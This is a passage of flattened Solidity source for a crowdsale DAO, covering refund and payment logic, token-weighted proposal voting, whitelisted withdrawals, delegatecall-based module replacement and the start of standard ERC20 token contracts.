if (fundsRaised >= softCap) {
teamTokensAmount = DAOLib.handleFinishedCrowdsale(token, commissionRaised, serviceContract, teamBonusesArr, team, teamHold);
} else {
refundableSoftCap = true;
}
token.finishMinting();
}
modifier canInit() {
require(canInitCrowdsaleParameters);
_;
}
modifier onlyCommission() {
require(commissionContract == msg.sender);
_;
}
modifier CrowdsaleIsOngoing() {
require(block.timestamp >= startTime && block.timestamp < endTime && !crowdsaleFinished);
_;
}
modifier validEtherPurchase(uint value) {
require(DXCRate != 0 ?
hardCap - DXCRaised / (etherRate / DXCRate) >= weiRaised + value :
hardCap >= weiRaised + value);
_;
}
modifier validDXCPurchase(uint value) {
require(dxcPayments && (hardCap - weiRaised >= (value + DXCRaised) / (etherRate / DXCRate)));
_;
}
modifier onlyDXC() {
require(msg.sender == address(DXC));
_;
}
modifier onlyOwner(address _sender) {
require(_sender == owner);
_;
}
}
contract Payment is CrowdsaleDAOFields {
/*
* @dev Returns funds to participant according to amount of funds that left in DAO and amount of tokens for this participant
*/
function refund() whenRefundable notTeamMember {
uint tokensMintedSum = SafeMath.add(tokensMintedByEther, tokensMintedByDXC);
uint etherPerDXCRate = SafeMath.mul(tokensMintedByEther, percentMultiplier) / tokensMintedSum;
uint dxcPerEtherRate = SafeMath.mul(tokensMintedByDXC, percentMultiplier) / tokensMintedSum;
uint tokensAmount = token.balanceOf(msg.sender);
token.burn(msg.sender);
if (etherPerDXCRate != 0)
msg.sender.transfer(DAOLib.countRefundSum(etherPerDXCRate * tokensAmount, etherRate, newEtherRate, multiplier));
if (dxcPerEtherRate != 0)
DXC.transfer(msg.sender, DAOLib.countRefundSum(dxcPerEtherRate * tokensAmount, DXCRate, newDXCRate, multiplier));
}
/*
* @dev Returns funds which were sent to crowdsale contract back to backer and burns tokens that were minted for him
*/
function refundSoftCap() whenRefundableSoftCap {
require(depositedWei[msg.sender] != 0 || depositedDXC[msg.sender] != 0);
token.burn(msg.sender);
uint weiAmount = depositedWei[msg.sender];
uint tokensAmount = depositedDXC[msg.sender];
delete depositedWei[msg.sender];
delete depositedDXC[msg.sender];
DXC.transfer(msg.sender, tokensAmount);
msg.sender.transfer(weiAmount);
}
modifier whenRefundable() {
require(refundable);
_;
}
modifier whenRefundableSoftCap() {
require(refundableSoftCap);
_;
}
modifier onlyParticipant {
require(token.balanceOf(msg.sender) > 0);
_;
}
modifier notTeamMember() {
require(!teamMap[msg.sender]);
_;
}
}
contract VotingDecisions is CrowdsaleDAOFields {
/*
* @dev Transfers withdrawal sum in ether or DXC tokens to the whitelisted address. Calls from Withdrawal proposal
* @param _address Whitelisted address
* @param _withdrawalSum Amount of ether/DXC to be sent
* @param _dxc Should withdrawal be in DXC tokens
*/
function withdrawal(address _address, uint _withdrawalSum, bool _dxc) notInRefundableState onlyVoting external {
lastWithdrawalTimestamp = block.timestamp;
_dxc ? DXC.transfer(_address, _withdrawalSum) : _address.transfer(_withdrawalSum);
}
/*
* @dev Change DAO's mode to `refundable`. Can be called by any tokenholder
*/
function makeRefundableByUser() external {
require(lastWithdrawalTimestamp == 0 && block.timestamp >= created_at + withdrawalPeriod
|| lastWithdrawalTimestamp != 0 && block.timestamp >= lastWithdrawalTimestamp + withdrawalPeriod);
makeRefundable();
}
/*
* @dev Change DAO's mode to `refundable`. Calls from Refund proposal
*/
function makeRefundableByVotingDecision() external onlyVoting {
makeRefundable();
}
/*
* @dev Change DAO's mode to `refundable`. Calls from this contract `makeRefundableByUser` or `makeRefundableByVotingDecision` functions
*/
function makeRefundable() notInRefundableState private {
refundable = true;
newEtherRate = SafeMath.mul(this.balance * etherRate, multiplier) / tokensMintedByEther;
newDXCRate = tokensMintedByDXC != 0 ? SafeMath.mul(DXC.balanceOf(this) * DXCRate, multiplier) / tokensMintedByDXC : 0;
}
/*
* @dev Make tokens of passed address non-transferable for passed period
* @param _address Address of tokenholder
* @param _duration Hold's duration in seconds
*/
function holdTokens(address _address, uint _duration) onlyVoting external {
token.hold(_address, _duration);
}
/*
* @dev Throws if called not by any voting contract
*/
modifier onlyVoting() {
require(votings[msg.sender]);
_;
}
/*
* @dev Throws if DAO is in refundable state
*/
modifier notInRefundableState {
require(!refundable && !refundableSoftCap);
_;
}
}
interface DAOFactoryInterface {
function exists(address _address) external constant returns (bool);
}
library DAODeployer {
function deployCrowdsaleDAO(string _name, string _description, address _serviceContractAddress, address _votingFactoryContractAddress) returns(CrowdsaleDAO dao) {
dao = new CrowdsaleDAO(_name, _description, _serviceContractAddress, _votingFactoryContractAddress);
}
function transferOwnership(address _dao, address _newOwner) {
CrowdsaleDAO(_dao).transferOwnership(_newOwner);
}
}
library DAOProxy {
function delegatedInitState(address stateModule, address _tokenAddress, address _DXC) {
require(stateModule.delegatecall(bytes4(keccak256("initState(address,address)")), _tokenAddress, _DXC));
}
function delegatedHoldState(address stateModule, uint _tokenHoldTime) {
require(stateModule.delegatecall(bytes4(keccak256("initHold(uint256)")), _tokenHoldTime));
}
function delegatedGetCommissionTokens(address paymentModule) {
require(paymentModule.delegatecall(bytes4(keccak256("getCommissionTokens()"))));
}
function delegatedRefund(address paymentModule) {
require(paymentModule.delegatecall(bytes4(keccak256("refund()"))));
}
function delegatedRefundSoftCap(address paymentModule) {
require(paymentModule.delegatecall(bytes4(keccak256("refundSoftCap()"))));
}
function delegatedWithdrawal(address votingDecisionModule, address _address, uint withdrawalSum, bool dxc) {
require(votingDecisionModule.delegatecall(bytes4(keccak256("withdrawal(address,uint256,bool)")), _address, withdrawalSum, dxc));
}
function delegatedMakeRefundableByUser(address votingDecisionModule) {
require(votingDecisionModule.delegatecall(bytes4(keccak256("makeRefundableByUser()"))));
}
function delegatedMakeRefundableByVotingDecision(address votingDecisionModule) {
require(votingDecisionModule.delegatecall(bytes4(keccak256("makeRefundableByVotingDecision()"))));
}
function delegatedHoldTokens(address votingDecisionModule, address _address, uint duration) {
require(votingDecisionModule.delegatecall(bytes4(keccak256("holdTokens(address,uint256)")), _address, duration));
}
function delegatedInitCrowdsaleParameters(
address crowdsaleModule,
uint _softCap,
uint _hardCap,
uint _etherRate,
uint _DXCRate,
uint _startTime,
uint _endTime,
bool _dxcPayments
) {
require(crowdsaleModule.delegatecall(bytes4(keccak256("initCrowdsaleParameters(uint256,uint256,uint256,uint256,uint256,uint256,bool)"))
, _softCap, _hardCap, _etherRate, _DXCRate, _startTime, _endTime, _dxcPayments));
}
function delegatedFinish(address crowdsaleModule) {
require(crowdsaleModule.delegatecall(bytes4(keccak256("finish()"))));
}
function delegatedHandlePayment(address crowdsaleModule, address _sender, bool _commission) {
require(crowdsaleModule.delegatecall(bytes4(keccak256("handlePayment(address,bool)")), _sender, _commission));
}
function delegatedHandleDXCPayment(address crowdsaleModule, address _from, uint _amount) {
require(crowdsaleModule.delegatecall(bytes4(keccak256("handleDXCPayment(address,uint256)")), _from, _amount));
}
}
library Common {
function stringToBytes32(string memory source) constant returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
function percent(uint numerator, uint denominator, uint precision) constant returns(uint quotient) {
uint _numerator = numerator * 10 ** (precision+1);
quotient = ((_numerator / denominator) + 5) / 10;
}
function toString(bytes32 _bytes) internal constant returns(string) {
bytes memory arrayTemp = new bytes(32);
uint currentLength = 0;
for (uint i = 0; i < 32; i++) {
arrayTemp[i] = _bytes[i];
if (arrayTemp[i] != 0) currentLength+=1;
}
bytes memory arrayRes = new bytes(currentLength);
for (i = 0; i < currentLength; i++) {
arrayRes[i] = arrayTemp[i];
}
return string(arrayRes);
}
}
contract CrowdsaleDAO is CrowdsaleDAOFields, Owned {
address public stateModule;
address public paymentModule;
address public votingDecisionModule;
address public crowdsaleModule;
function CrowdsaleDAO(string _name, string _description, address _serviceContractAddress, address _votingFactoryContractAddress)
Owned(msg.sender) {
(name, description, serviceContract, votingFactory) = (_name, _description, _serviceContractAddress, VotingFactoryInterface(_votingFactoryContractAddress));
}
/*
* @dev Receives ether and forwards to the crowdsale module via a delegatecall with commission flag equal to false
*/
function() payable {
DAOProxy.delegatedHandlePayment(crowdsaleModule, msg.sender, false);
}
/*
* @dev Receives ether from commission contract and forwards to the crowdsale module
* via a delegatecall with commission flag equal to true
* @param _sender Address which sent ether to commission contract
*/
function handleCommissionPayment(address _sender) payable {
DAOProxy.delegatedHandlePayment(crowdsaleModule, _sender, true);
}
/*
* @dev Receives info about address which sent DXC tokens to current contract and about amount of sent tokens from
* DXC token contract and then forwards this data to the crowdsale module
* @param _from Address which sent DXC tokens
* @param _amount Amount of tokens which were sent
*/
function handleDXCPayment(address _from, uint _amount) {
DAOProxy.delegatedHandleDXCPayment(crowdsaleModule, _from, _amount);
}
/*
* @dev Receives decision from withdrawal voting and forwards it to the voting decisions module
* @param _address Address for withdrawal
* @param _withdrawalSum Amount of ether/DXC tokens which must be sent to withdrawal address
* @param _dxc boolean indicating whether withdrawal should be made through DXC tokens or not
*/
function withdrawal(address _address, uint _withdrawalSum, bool _dxc) external {
DAOProxy.delegatedWithdrawal(votingDecisionModule, _address, _withdrawalSum, _dxc);
}
/*
* @dev Receives decision from refund voting and forwards it to the voting decisions module
*/
function makeRefundableByVotingDecision() external {
DAOProxy.delegatedMakeRefundableByVotingDecision(votingDecisionModule);
}
/*
* @dev Called by voting contract to hold tokens of voted address.
* It is needed to prevent multiple votes with same tokens
* @param _address Voted address
* @param _duration Amount of time left for voting to be finished
*/
function holdTokens(address _address, uint _duration) external {
DAOProxy.delegatedHoldTokens(votingDecisionModule, _address, _duration);
}
function setStateModule(address _stateModule) external canSetAddress(stateModule) {
stateModule = _stateModule;
}
function setPaymentModule(address _paymentModule) external canSetAddress(paymentModule) {
paymentModule = _paymentModule;
}
function setVotingDecisionModule(address _votingDecisionModule) external canSetAddress(votingDecisionModule) {
votingDecisionModule = _votingDecisionModule;
}
function setCrowdsaleModule(address _crowdsaleModule) external canSetAddress(crowdsaleModule) {
crowdsaleModule = _crowdsaleModule;
}
function setVotingFactoryAddress(address _votingFactory) external canSetAddress(votingFactory) {
votingFactory = VotingFactoryInterface(_votingFactory);
}
/*
* @dev Checks if provided address has tokens of current DAO
* @param _participantAddress Address of potential participant
* @return boolean indicating if the address has at least one token
*/
function isParticipant(address _participantAddress) external constant returns (bool) {
return token.balanceOf(_participantAddress) > 0;
}
/*
* @dev Function which is used to set address of token which will be distributed by DAO during the crowdsale and
* address of DXC token contract to use it for handling payment operations with DXC. Delegates call to state module
* @param _tokenAddress Address of token which will be distributed during the crowdsale
* @param _DXC Address of DXC contract
*/
function initState(address _tokenAddress, address _DXC) public {
DAOProxy.delegatedInitState(stateModule, _tokenAddress, _DXC);
}
/*
* @dev Delegates parameters which describe conditions of crowdsale to the crowdsale module.
* @param _softCap The minimal amount of funds that must be collected by DAO for crowdsale to be considered successful
* @param _hardCap The maximal amount of funds that can be raised during the crowdsale
* @param _etherRate Amount of tokens that will be minted per one ether
* @param _DXCRate Amount of tokens that will be minted per one DXC
* @param _startTime Unix timestamp that indicates the moment when crowdsale will start
* @param _endTime Unix timestamp that indicates the moment when crowdsale will end
* @param _dxcPayments Boolean indicating whether it is possible to invest via DXC token or not
*/
function initCrowdsaleParameters(uint _softCap, uint _hardCap, uint _etherRate, uint _DXCRate, uint _startTime, uint _endTime, bool _dxcPayments) public {
DAOProxy.delegatedInitCrowdsaleParameters(crowdsaleModule, _softCap, _hardCap, _etherRate, _DXCRate, _startTime, _endTime, _dxcPayments);
}
/*
* @dev Delegates request of creating "regular" voting and saves the address of created voting contract to votings list
* @param _name Name for voting
* @param _description Description for voting that will be created
* @param _duration Time in seconds from current moment until voting will be finished
* @param _options List of options
*/
function addRegular(string _name, string _description, uint _duration, bytes32[] _options) public {
votings[DAOLib.delegatedCreateRegular(votingFactory, _name, _description, _duration, _options, this)] = true;
}
/*
* @dev Delegates request of creating "withdrawal" voting and saves the address of created voting contract to votings list
* @param _name Name for voting
* @param _description Description for voting that will be created
* @param _duration Time in seconds from current moment until voting will be finished
* @param _sum Amount of funds that is supposed to be withdrawn
* @param _withdrawalWallet Address for withdrawal
* @param _dxc Boolean indicating whether withdrawal must be in DXC tokens or in ether
*/
function addWithdrawal(string _name, string _description, uint _duration, uint _sum, address _withdrawalWallet, bool _dxc) public {
votings[DAOLib.delegatedCreateWithdrawal(votingFactory, _name, _description, _duration, _sum, _withdrawalWallet, _dxc, this)] = true;
}
/*
* @dev Delegates request of creating "refund" voting and saves the address of created voting contract to votings list
* @param _name Name for voting
* @param _description Description for voting that will be created
* @param _duration Time in seconds from current moment until voting will be finished
*/
function addRefund(string _name, string _description, uint _duration) public {
votings[DAOLib.delegatedCreateRefund(votingFactory, _name, _description, _duration, this)] = true;
}
/*
* @dev Delegates request of creating "module" voting and saves the address of created voting contract to votings list
* @param _name Name for voting
* @param _description Description for voting that will be created
* @param _duration Time in seconds from current moment until voting will be finished
* @param _module Number of module which must be replaced
* @param _newAddress Address of new module
*/
function addModule(string _name, string _description, uint _duration, uint _module, address _newAddress) public {
votings[DAOLib.delegatedCreateModule(votingFactory, _name, _description, _duration, _module, _newAddress, this)] = true;
}
/*
* @dev Delegates request for going into refundable state to voting decisions module
*/
function makeRefundableByUser() public {
DAOProxy.delegatedMakeRefundableByUser(votingDecisionModule);
}
/*
* @dev Delegates request for refund to payment module
*/
function refund() public {
DAOProxy.delegatedRefund(paymentModule);
}
/*
* @dev Delegates request for refund of soft cap to payment module
*/
function refundSoftCap() public {
DAOProxy.delegatedRefundSoftCap(paymentModule);
}
/*
* @dev Delegates request for finish of crowdsale to crowdsale module
*/
function finish() public {
DAOProxy.delegatedFinish(crowdsaleModule);
}
/*
* @dev Sets team addresses and bonuses for crowdsale
* @param _team The addresses that will be defined as team members
* @param _tokenPercents Array of bonuses in percents which will go te every member in case of successful crowdsale
* @param _bonusPeriods Array of timestamps which show when tokens will be minted with higher rate
* @param _bonusEtherRates Array of ether rates for every bonus period
* @param _bonusDXCRates Array of DXC rates for every bonus period
* @param _teamHold Array of timestamps which show the hold duration of tokens for every team member
* @param service Array of booleans which show whether member is a service address or not
*/
function initBonuses(address[] _team, uint[] _tokenPercents, uint[] _bonusPeriods, uint[] _bonusEtherRates, uint[] _bonusDXCRates, uint[] _teamHold, bool[] _service) public onlyOwner(msg.sender) {
require(
_team.length == _tokenPercents.length &&
_team.length == _teamHold.length &&
_team.length == _service.length &&
_bonusPeriods.length == _bonusEtherRates.length &&
(_bonusDXCRates.length == 0 || _bonusPeriods.length == _bonusDXCRates.length) &&
canInitBonuses &&
(block.timestamp < startTime || canInitCrowdsaleParameters)
);
team = _team;
teamHold = _teamHold;
teamBonusesArr = _tokenPercents;
teamServiceMember = _service;
for(uint i = 0; i < _team.length; i++) {
teamMap[_team[i]] = true;
teamBonuses[_team[i]] = _tokenPercents[i];
}
bonusPeriods = _bonusPeriods;
bonusEtherRates = _bonusEtherRates;
bonusDXCRates = _bonusDXCRates;
canInitBonuses = false;
}
/*
* @dev Sets addresses which can be used to get funds via withdrawal votings
* @param _addresses Array of addresses which will be used for withdrawals
*/
function setWhiteList(address[] _addresses) public onlyOwner(msg.sender) {
require(canSetWhiteList);
whiteListArr = _addresses;
for(uint i = 0; i < _addresses.length; i++) {
whiteList[_addresses[i]] = true;
}
canSetWhiteList = false;
}
/*
Modifiers
*/
modifier canSetAddress(address module) {
require(votings[msg.sender] || (module == 0x0 && msg.sender == owner));
_;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library VotingLib {
struct Option {
uint votes;
bytes32 description;
}
function delegatecallCreate(address _v, address _dao, string _name, string _description, uint _duration, uint _quorum) {
require(_v.delegatecall(bytes4(keccak256("create(address,bytes32,bytes32,uint256,uint256)")),
_dao,
Common.stringToBytes32(_name),
Common.stringToBytes32(_description),
_duration,
_quorum)
);
}
function delegatecallAddVote(address _v, uint optionID) {
require(_v.delegatecall(bytes4(keccak256("addVote(uint256)")), optionID));
}
function delegatecallFinish(address _v) {
require(_v.delegatecall(bytes4(keccak256("finish()"))));
}
function isValidWithdrawal(address _dao, uint _sum, bool _dxc) constant returns(bool) {
return !_dxc ? _dao.balance >= _sum : ICrowdsaleDAO(_dao).DXC().balanceOf(_dao) >= _sum;
}
}
contract IDAO {
function isParticipant(address _participantAddress) external constant returns (bool);
function teamMap(address _address) external constant returns (bool);
function whiteList(address _address) constant returns (bool);
}
contract ICrowdsaleDAO is IDAO {
bool public crowdsaleFinished;
uint public teamTokensAmount;
uint public endTime;
uint public weiRaised;
uint public softCap;
uint public fundsRaised;
function addRegular(string _description, uint _duration, bytes32[] _options) external;
function addWithdrawal(string _description, uint _duration, uint _sum) external;
function addRefund(string _description, uint _duration) external;
function addModule(string _description, uint _duration, uint _module, address _newAddress) external;
function holdTokens(address _address, uint duration) external;
function makeRefundableByVotingDecision();
function withdrawal(address _address, uint withdrawalSum, bool dxc);
function setStateModule(address _stateModule);
function setPaymentModule(address _paymentModule);
function setVotingDecisionModule(address _votingDecisionModule);
function setCrowdsaleModule(address _crowdsaleModule);
function setVotingFactoryAddress(address _votingFactory);
function teamBonuses(address _address) constant returns (uint);
function token() constant returns (TokenInterface);
function DXC() constant returns(TokenInterface);
}
contract VotingFields {
ICrowdsaleDAO dao;
string public name;
string public description;
VotingLib.Option[11] public options;
mapping (address => uint) public voted;
VotingLib.Option public result;
uint public votesCount;
uint public duration; // UNIX
uint public created_at = now;
bool public finished = false;
uint public quorum;
string public votingType;
uint public minimalDuration = 60 * 60 * 24 * 7; // 7 days
}
interface VotingInterface {
function addVote(uint optionID) external;
function finish() external;
function getOptions() external constant returns(uint[2] result);
function finished() external constant returns(bool);
function voted(address _address) external constant returns (uint);
}
contract BaseProposal is VotingFields {
address baseVoting;
/*
* @dev Returns amount of votes for `yes` and `no` options
*/
function getOptions() public constant returns(uint[2]) {
return [options[1].votes, options[2].votes];
}
/*
* @dev Delegates request of adding vote to the Voting base contract
* @param _optionID ID of option which will be added as vote
*/
function addVote(uint _optionID) public {
VotingLib.delegatecallAddVote(baseVoting, _optionID);
}
/*
* @dev Initiates options `yes` and `no`
*/
function createOptions() internal {
options[1] = VotingLib.Option(0, "yes");
options[2] = VotingLib.Option(0, "no");
}
}
contract Regular is VotingFields {
address baseVoting;
function Regular(address _baseVoting, address _dao, string _name, string _description, uint _duration, bytes32[] _options){
require(_options.length >= 2 && _options.length <= 10);
baseVoting = _baseVoting;
votingType = "Regular";
VotingLib.delegatecallCreate(baseVoting, _dao, _name, _description, _duration, 0);
createOptions(_options);
}
/*
* @dev Returns amount of votes for all regular proposal's options
* @return Array[10] of int
*/
function getOptions() external constant returns(uint[10]) {
return [options[1].votes, options[2].votes, options[3].votes, options[4].votes, options[5].votes,
options[6].votes, options[7].votes, options[8].votes, options[9].votes, options[10].votes];
}
/*
* @dev Delegates request of adding vote to the Voting base contract
* @param _optionID ID of option which will be added as vote
*/
function addVote(uint _optionID) public {
VotingLib.delegatecallAddVote(baseVoting, _optionID);
}
/*
* @dev Delegates request of finishing to the Voting base contract
*/
function finish() public {
VotingLib.delegatecallFinish(baseVoting);
}
/*
* @dev Creates up to 10 options of votes
* @param _options Array of votes options
*/
function createOptions(bytes32[] _options) private {
for (uint i = 0; i < _options.length; i++) {
options[i + 1] = VotingLib.Option(0, _options[i]);
}
}
}
contract Withdrawal is BaseProposal {
uint public withdrawalSum;
address public withdrawalWallet;
bool public dxc;
function Withdrawal(address _baseVoting, address _dao, string _name, string _description, uint _duration, uint _sum, address _withdrawalWallet, bool _dxc) {
require(_sum > 0 && VotingLib.isValidWithdrawal(_dao, _sum, _dxc));
baseVoting = _baseVoting;
votingType = "Withdrawal";
VotingLib.delegatecallCreate(baseVoting, _dao, _name, _description, _duration, 0);
withdrawalSum = _sum;
withdrawalWallet = _withdrawalWallet;
dxc = _dxc;
createOptions();
}
/*
* @dev Delegates request of finishing to the Voting base contract
*/
function finish() public {
VotingLib.delegatecallFinish(baseVoting);
if(result.description == "yes") dao.withdrawal(withdrawalWallet, withdrawalSum, dxc);
}
}
contract Refund is BaseProposal {
function Refund(address _baseVoting, address _dao, string _name, string _description, uint _duration) {
baseVoting = _baseVoting;
votingType = "Refund";
VotingLib.delegatecallCreate(baseVoting, _dao, _name, _description, _duration, 90);
createOptions();
}
function finish() public {
VotingLib.delegatecallFinish(baseVoting);
if(result.description == "yes") dao.makeRefundableByVotingDecision();
}
}
contract Voting is VotingFields {
/*
* @dev Initiate storage variables for caller contract via `delegatecall`
* @param _dao Address of dao where voting is creating
* @param _name Voting name
* @param _description Voting description
* @param _duration Voting duration
* @param _quorum Minimal percentage of token holders who must to take part in voting
*/
function create(address _dao, bytes32 _name, bytes32 _description, uint _duration, uint _quorum)
succeededCrowdsale(ICrowdsaleDAO(_dao))
correctDuration(_duration)
external
{
dao = ICrowdsaleDAO(_dao);
name = Common.toString(_name);
description = Common.toString(_description);
duration = _duration;
quorum = _quorum;
}
/*
* @dev Add vote with passed optionID for the caller voting via `delegatecall`
* @param _optionID ID of option
*/
function addVote(uint _optionID) external notFinished canVote correctOption(_optionID) {
require(block.timestamp - duration < created_at);
uint tokensAmount = dao.token().balanceOf(msg.sender);
options[_optionID].votes += tokensAmount;
voted[msg.sender] = _optionID;
votesCount += tokensAmount;
dao.holdTokens(msg.sender, (duration + created_at) - now);
}
/*
* @dev Finish voting for the caller voting contract via `delegatecall`
* @param _optionID ID of option
*/
function finish() external notFinished {
require(block.timestamp - duration >= created_at);
finished = true;
if (keccak256(votingType) == keccak256("Withdrawal")) return finishNotRegular();
if (keccak256(votingType) == keccak256("Regular")) return finishRegular();
//Other two cases of votings (`Module` and `Refund`) requires quorum
if (Common.percent(options[1].votes, dao.token().totalSupply() - dao.teamTokensAmount(), 2) >= quorum) {
result = options[1];
return;
}
result = options[2];
}
/*
* @dev Finish regular voting. Calls from `finish` function
*/
function finishRegular() private {
VotingLib.Option memory _result = options[1];
bool equal = false;
for (uint i = 2; i < options.length; i++) {
if (_result.votes == options[i].votes) equal = true;
else if (_result.votes < options[i].votes) {
_result = options[i];
equal = false;
}
}
if (!equal) result = _result;
}
/*
* @dev Finish non-regular voting. Calls from `finish` function
*/
function finishNotRegular() private {
if (options[1].votes > options[2].votes) result = options[1];
else result = options[2];
}
/*
* @dev Throws if caller is team member, not participant or has voted already
*/
modifier canVote() {
require(!dao.teamMap(msg.sender) && dao.isParticipant(msg.sender) && voted[msg.sender] == 0);
_;
}
/*
* @dev Throws if voting is finished already
*/
modifier notFinished() {
require(!finished);
_;
}
/*
* @dev Throws if crowdsale is not finished or if soft cap is not achieved
*/
modifier succeededCrowdsale(ICrowdsaleDAO dao) {
require(dao.crowdsaleFinished() && dao.fundsRaised() >= dao.softCap());
_;
}
/*
* @dev Throws if description of provided option ID is empty
*/
modifier correctOption(uint optionID) {
require(options[optionID].description != 0x0);
_;
}
/*
* @dev Throws if passed voting duration is not greater than minimal
*/
modifier correctDuration(uint _duration) {
require(_duration >= minimalDuration || keccak256(votingType) == keccak256("Module"));
_;
}
}
contract Module is BaseProposal {
enum Modules{State, Payment, VotingDecisions, Crowdsale, VotingFactory}
Modules public module;
address public newModuleAddress;
function Module(address _baseVoting, address _dao, string _name, string _description, uint _duration, uint _module, address _newAddress) {
require(_module >= 0 && _module <= 4);
baseVoting = _baseVoting;
votingType = "Module";
module = Modules(_module);
newModuleAddress = _newAddress;
VotingLib.delegatecallCreate(baseVoting, _dao, _name, _description, _duration, 80);
createOptions();
}
/*
* @dev Delegates request of finishing to the Voting base contract
*/
function finish() public {
VotingLib.delegatecallFinish(baseVoting);
if(result.description == "no") return;
//Sorry but solidity doesn't support `switch` keyword
if (uint(module) == uint(Modules.State)) dao.setStateModule(newModuleAddress);
if (uint(module) == uint(Modules.Payment)) dao.setPaymentModule(newModuleAddress);
if (uint(module) == uint(Modules.VotingDecisions)) dao.setVotingDecisionModule(newModuleAddress);
if (uint(module) == uint(Modules.Crowdsale)) dao.setCrowdsaleModule(newModuleAddress);
if (uint(module) == uint(Modules.VotingFactory)) dao.setVotingFactoryAddress(newModuleAddress);
}
}
contract VotingFactory is VotingFactoryInterface {
address baseVoting;
DAOFactoryInterface public daoFactory;
function VotingFactory(address _baseVoting) {
baseVoting = _baseVoting;
}
/*
* @dev Create regular proposal with passed parameters. Calls from DAO contract
* @param _creator Address of caller of DAO's respectively function
* @param _name Voting's name
* @param _description Voting's description
* @param _duration Voting's duration
* @param _options Voting's options
*/
function createRegular(address _creator, string _name, string _description, uint _duration, bytes32[] _options)
external
onlyDAO
onlyParticipant(_creator)
returns (address)
{
return new Regular(baseVoting, msg.sender, _name, _description, _duration, _options);
}
/*
* @dev Create withdrawal proposal with passed parameters. Calls from DAO contract
* @param _creator Address of caller of DAO's respectively function
* @param _name Voting's name
* @param _description Voting's description
* @param _duration Voting's duration
* @param _sum Sum to withdraw from DAO
* @param _withdrawalWallet Address to send withdrawal sum
* @param _dxc Should withdrawal sum be interpret as amount of DXC tokens
*/
function createWithdrawal(address _creator, string _name, string _description, uint _duration, uint _sum, address _withdrawalWallet, bool _dxc)
external
onlyTeamMember(_creator)
onlyDAO
onlyWhiteList(_withdrawalWallet)
returns (address)
{
return new Withdrawal(baseVoting, msg.sender, _name, _description, _duration, _sum, _withdrawalWallet, _dxc);
}
/*
* @dev Create refund proposal with passed parameters. Calls from DAO contract
* @param _creator Address of caller of DAO's respectively function
* @param _name Voting's name
* @param _description Voting's description
* @param _duration Voting's duration
*/
function createRefund(address _creator, string _name, string _description, uint _duration) external onlyDAO onlyParticipant(_creator) returns (address) {
return new Refund(baseVoting, msg.sender, _name, _description, _duration);
}
/*
* @dev Create module proposal with passed parameters. Calls from DAO contract
* @param _creator Address of caller of DAO's respectively function
* @param _name Voting's name
* @param _description Voting's description
* @param _duration Voting's duration
* @param _module Which module should be changed
* @param _newAddress Address of new module
*/
function createModule(address _creator, string _name, string _description, uint _duration, uint _module, address _newAddress)
external
onlyDAO
onlyParticipant(_creator)
returns (address)
{
return new Module(baseVoting, msg.sender, _name, _description, _duration, _module, _newAddress);
}
/*
* @dev Set dao factory address. Calls ones from just deployed DAO
* @param _dao Address of dao factory
*/
function setDaoFactory(address _dao) external {
require(address(daoFactory) == 0x0 && _dao != 0x0);
daoFactory = DAOFactoryInterface(_dao);
}
/*
* @dev Throws if caller is not correct DAO
*/
modifier onlyDAO() {
require(daoFactory.exists(msg.sender));
_;
}
/*
* @dev Throws if creator is not participant of passed DAO
*/
modifier onlyParticipant(address creator) {
require(IDAO(msg.sender).isParticipant(creator));
_;
}
/*
* @dev Throws if creator is not team member of passed DAO
*/
modifier onlyTeamMember(address creator) {
require(IDAO(msg.sender).teamMap(creator));
_;
}
/*
* @dev Throws if creator is not member of white list in specified DAO
*/
modifier onlyWhiteList(address creator) {
require(IDAO(msg.sender).whiteList(creator));
_;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
